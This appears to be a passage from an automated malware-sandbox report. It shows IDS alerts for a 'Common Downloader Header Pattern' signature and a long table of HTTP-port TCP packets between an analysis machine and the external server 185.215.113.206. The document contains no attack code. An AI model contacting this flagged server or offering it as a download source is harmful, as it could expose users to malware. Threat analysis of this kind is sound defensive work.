2024-10-28T06:27:26.272529+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49758	185.215.113.206	80	TCP
2024-10-28T06:27:28.865147+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49758	185.215.113.206	80	TCP
2024-10-28T06:27:29.427043+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49758	185.215.113.206	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 28, 2024 06:27:01.695626020 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:01.701267958 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:01.701374054 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:01.701535940 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:01.706850052 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:02.509277105 CET	49675	443	192.168.2.4	173.222.162.32
Oct 28, 2024 06:27:02.609095097 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:02.609190941 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:02.612174988 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:02.617563963 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:02.902306080 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:02.902488947 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:02.914433956 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:02.919841051 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:03.194631100 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:03.194715023 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:03.194926023 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:03.199248075 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:03.204632998 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:03.479693890 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:03.479720116 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:03.479743958 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:03.479758024 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:03.479784966 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:03.479796886 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:03.479810953 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:03.479825974 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:03.479860067 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:03.479860067 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:03.479995012 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:03.480125904 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:03.480204105 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:03.482817888 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:03.488231897 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:03.762362957 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:03.762459040 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:03.781477928 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:03.781533003 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:03.786933899 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:03.786961079 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:03.786983967 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:03.786998034 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:03.787010908 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:03.787024975 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:03.787038088 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:04.580113888 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:04.580281973 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:04.914129972 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:04.919733047 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.191705942 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.191745043 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.191785097 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.191828012 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.191910982 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:05.191910982 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:05.191910982 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:05.191998005 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.192038059 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.192059994 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:05.192070961 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.192091942 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:05.192105055 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.192123890 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:05.192162991 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:05.192699909 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.192750931 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.192755938 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:05.192785978 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.192812920 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:05.192819118 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.192835093 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:05.192853928 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.192881107 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:05.192899942 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:05.193583012 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.193806887 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:05.344629049 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.344691038 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.344727039 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.344770908 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.344803095 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.344827890 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:05.344829082 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:05.344836950 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.344871044 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.344907999 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:05.344908953 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:05.344933033 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:05.345412970 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.345462084 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.345495939 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.345498085 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:05.345523119 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:05.345527887 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.345562935 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.345566988 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:05.345590115 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:05.345618963 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:05.346406937 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.346456051 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.346484900 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:05.346489906 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.346508026 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:05.346524000 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.346549988 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:05.346559048 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.346592903 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:05.346613884 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:05.347397089 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.347446918 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.347476006 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:05.347479105 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.347492933 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:05.347512960 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.347528934 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:05.347548962 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.347562075 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:05.347598076 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:05.348329067 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.348375082 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.348403931 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:05.348433018 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:05.497306108 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.497342110 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.497396946 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.497426033 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.497477055 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.497482061 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:05.497483015 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:05.497483015 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:05.497483015 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:05.497509003 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.497543097 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.497575998 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.497576952 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:05.497576952 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:05.497605085 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:05.497653961 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:05.497953892 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.498002052 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:05.498002052 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.498039007 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.498070955 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.498076916 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:05.498095989 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:05.498125076 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:05.498126030 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.498159885 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.498192072 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:05.498193979 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.498214960 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:05.498236895 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:05.498853922 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.498919010 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.498925924 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:05.498953104 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.498977900 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:05.498986959 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.499021053 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:05.499022007 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.499047041 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:05.499058008 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.499080896 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:05.499094009 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.499118090 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:05.499155045 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:05.499804020 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.499852896 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.499881029 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:05.499886990 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.499917030 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:05.499919891 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.499953032 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.499957085 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:05.499979019 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:05.499989033 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.500000000 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:05.500040054 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:05.616271973 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.616311073 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.616331100 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.616348028 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.616365910 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.616384983 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.616404057 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.616422892 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.616437912 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:05.616437912 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:05.616527081 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:05.616619110 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.616651058 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.616683960 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.616684914 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:05.616715908 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.616734028 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.616745949 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:05.616796970 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:05.617229939 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.617259979 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.617280006 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.617297888 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.617307901 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:05.617317915 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.617338896 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.617358923 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.617364883 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:05.617420912 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:05.650527954 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.650571108 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.650589943 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.650608063 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.650626898 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.650641918 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.650660038 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.650677919 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.650696993 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.650692940 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:05.650718927 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.650769949 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:05.650819063 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:05.737968922 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.738013983 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.738035917 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.738054991 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.738074064 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.738091946 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.738111973 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.738110065 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:05.738131046 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.738151073 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.738176107 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:05.738198042 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:05.738471985 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.738492966 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.738512993 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.738531113 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.738535881 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:05.738550901 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.738569975 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.738586903 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:05.738588095 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.738605976 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.738627911 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.738650084 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:05.738673925 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:05.769149065 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.769186974 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.769212961 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.769229889 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.769247055 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.769263983 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.769279957 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.769296885 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.769315004 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.769335032 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:05.769418955 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:05.769675016 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.769695044 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.769715071 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.769731998 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:05.769799948 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:05.854060888 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.854094982 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.854120016 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.854127884 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.854142904 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.854150057 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.854163885 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.854228020 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:05.854288101 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:05.854487896 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.854504108 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.854518890 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.854535103 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.854545116 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:05.854595900 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:05.854868889 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.854892015 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.854907990 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.854923010 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.854928017 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:05.854939938 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.854950905 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:05.855000973 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:05.855365992 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.855382919 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.855396986 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.855412006 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.855426073 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:05.855459929 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:05.888024092 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.888093948 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.888150930 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.888186932 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.888215065 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:05.888221979 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.888215065 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:05.888215065 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:05.888256073 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.888290882 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.888302088 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:05.888303041 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:05.888303041 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:05.888324022 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.888350010 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:05.888360977 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.888370037 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:05.888443947 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.888473988 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:05.888483047 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.888495922 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:05.888550043 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:05.888720036 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.888751030 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.888782978 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:05.888803959 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:05.973753929 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.973799944 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.973815918 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.973829985 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.973844051 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.973858118 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.973871946 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.973886013 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.973900080 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.973941088 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:05.974021912 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:05.974138975 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.974163055 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.974178076 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.974193096 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.974194050 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:05.974210978 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:05.974216938 CET	49730	80	192.168.2.4	185.215.113.206
